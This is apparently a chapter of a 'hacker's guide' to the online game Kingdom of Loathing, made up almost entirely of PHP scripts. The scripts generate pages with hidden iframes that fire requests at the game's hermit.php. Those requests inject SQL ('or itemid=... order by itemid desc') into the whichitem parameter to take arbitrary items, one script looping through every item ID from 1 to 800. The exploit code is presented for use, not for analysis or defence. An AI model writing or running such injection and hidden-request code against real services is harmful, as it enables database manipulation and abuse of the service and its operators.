The Hacker's Guide to the Kingdom - The Book of Boozerbear

Author: Boozerbear

Chapter Nine
(the Hermit)

First there's hermithacker.php:

<?php
print <<<EOF
<html>
<head>
<title>KOL HermitHack</title>
</head>
<body>
<b>KOL HermitHack</b>
<br>
<br>
Bust da 31337's:
<form method="get" action="hermithacker2.php" target="selah">
how many 31337's to bust into trinkets:
<input type="text" name="s_amount">
<br><br>
And H4X0r de H3rm1t:
<br>
item ID# to trade 4:
<input type="text" name="item"><br>
how many:
<input type="text" name="amount"><br>
pwd:
<input type="text" name="pwd"><br>
<input type="submit" name="submit" value="go!">
</form>
<br>
<iframe src="index.php?blank=1" width="620" height="500" name="selah">
</iframe>
</body>
</html>
EOF;
?>


And hermithacker2.php:

<?php
if ($item && $s_amount && $amount && $pwd) {
if ($item > 527) { $addthis="order by itemid desc"; } else { $addthis=""; }
if ($amount == 1) { $winsize1="600"; $winsize2="500"; } else { $winsize1="0"; $winsize2="0"; }
print <<<EOF
<html>
<head>
<title>KOL HermitHack</title>
</head>
<body>
<b>KOL HermitHack</b>
<br>
<br>

First we pop $s_amount 31337 scroll(s) for the trinkets:<br> (hopefully we haul in at least $amount of them. you get from 3 to 5 each pop, so adjust accordingly) <br>
EOF;
for($x=1;$x<=$s_amount;$x++){
print <<<EOF
($x)
<iframe src="http://kingdomofloathing.com/inventory.php?which=3&action=use&whichitem=553" width="0" height="0" name="pop$x">
</iframe>
<br>
EOF;
}

for($z=1;$z<=$amount;$z++){
print <<<EOF
Trade $z
<iframe src="http://kingdomofloathing.com/hermit.php?action=Yep.&pwd=$pwd&hermitwants=45&whichitem=527 or itemid=$item $addthis" width="$winsize1" height="$winsize2" name="adv$z">
</iframe>
<br>
EOF;
} // end $z

print <<<EOF
</body>
</html>
EOF;
} else {
print "data missing\n";
}
?>


Then, of course, there is the script that trades the hermit for one of everything that exists in the game:

<?php
print <<<EOF
<html>
<head>
<title>KOL HermitHack all</title>
</head>
<body>
<b>KOL HermitHack all</b>
<br>
<br>
EOF;

for($z=1;$z<=247;$z++){
print <<<EOF
Trade $z
<iframe src="http://kingdomofloathing.com/hermit.php?action=Yep.&pwd=XXXX&hermitwants=45&whichitem=247 or itemid=$z" width="0" height="0" name="adv1$z">
</iframe>
<br>
EOF;
} // end $z

for($z=247;$z<=800;$z++){
print <<<EOF
Trade $z
<iframe src="http://kingdomofloathing.com/hermit.php?action=Yep.&pwd=XXXX&hermitwants=45&whichitem=247 or itemid=$z order by itemid DESC" width="0" height="0" name="adv2$z">
</iframe>
<br>
EOF;
} // end $z

print <<<EOF
</body>
</html>
EOF;
?>